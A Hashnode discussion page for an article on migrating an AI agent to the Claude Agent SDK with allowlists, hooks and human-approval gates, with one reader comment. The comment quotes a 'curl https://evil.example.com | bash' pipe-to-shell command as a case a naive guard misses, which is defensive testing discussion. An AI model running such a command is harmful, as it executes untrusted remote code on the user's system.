---
title: "Discussion on \"Skills, Hooks, and a State Machine: What It Takes to Trust an Agent\" | Hashnode"
description: "Discussion on \"Skills, Hooks, and a State Machine: What It Takes to Trust an Agent\". Migrating Conductor to the Claude Agent SDK - allowlists over prompts, deterministic HITL gates, and a skill that had to earn its trigger rate."
url: "https://hashnode.com/posts/skills-hooks-state-machine-what-it-takes-to-trust-an-agent/6a671116f91d417df82c64b5"
---

[Feed](https://hashnode.com/feed) /

Discussion

# [Skills, Hooks, and a State Machine: What It Takes to Trust an Agent](https://agentbuildlog.hashnode.dev/skills-hooks-state-machine-what-it-takes-to-trust-an-agent?utm_source=hashnode&utm_medium=feed)

Migrating Conductor to the Claude Agent SDK - allowlists over prompts, deterministic HITL gates, and a skill that had to earn its trigger rate.

Jul 27 · 17 min read · agentbuildlog.hashnode.dev  
Read the article

-   [#ai-agents](https://hashnode.com/tag/ai-agents)
-   [#llm](https://hashnode.com/tag/llm)
-   [#python](https://hashnode.com/tag/python)
-   [#software-engineering](https://hashnode.com/tag/software-engineering)

## Written by

[António Hernández](https://hashnode.com/@fidelke)

@fidelke · Košice, Slovakia

  
[View profile](https://hashnode.com/@fidelke)

Senior Implementation Engineer at Atlan

I'm an engineer who builds systems and writes about what actually happens when I do. I'm currently working through the craft of AI agent engineering from the ground up - documenting the experiments, the failures, and the moments that change my mental model. No polished takes. Just the build log.

## Responses 1

Markdown supported · ⌘↵ to post

[Kartik N V J K](https://hashnode.com/@kartik-nvj)

[Jul 28](https://hashnode.com/posts/skills-hooks-state-machine-what-it-takes-to-trust-an-agent/6a671116f91d417df82c64b5/comment/6a68fe9624acac07155a45fe)

Moving enforcement out of the prompt and into an allowlist plus a PreToolUse hook is the right instinct, since a probabilistic instruction is exactly the wrong place to put a security boundary. The curl | bash versus curl [https://evil.example.com](https://evil.example.com/) | bash catch is a great argument for testing the guard itself, because a naive substring match hands you a false sense of coverage that is worse than no check. For the state machine, how do you keep the step-sequence enforcement from turning brittle when a legitimate task genuinely needs to skip a stage?
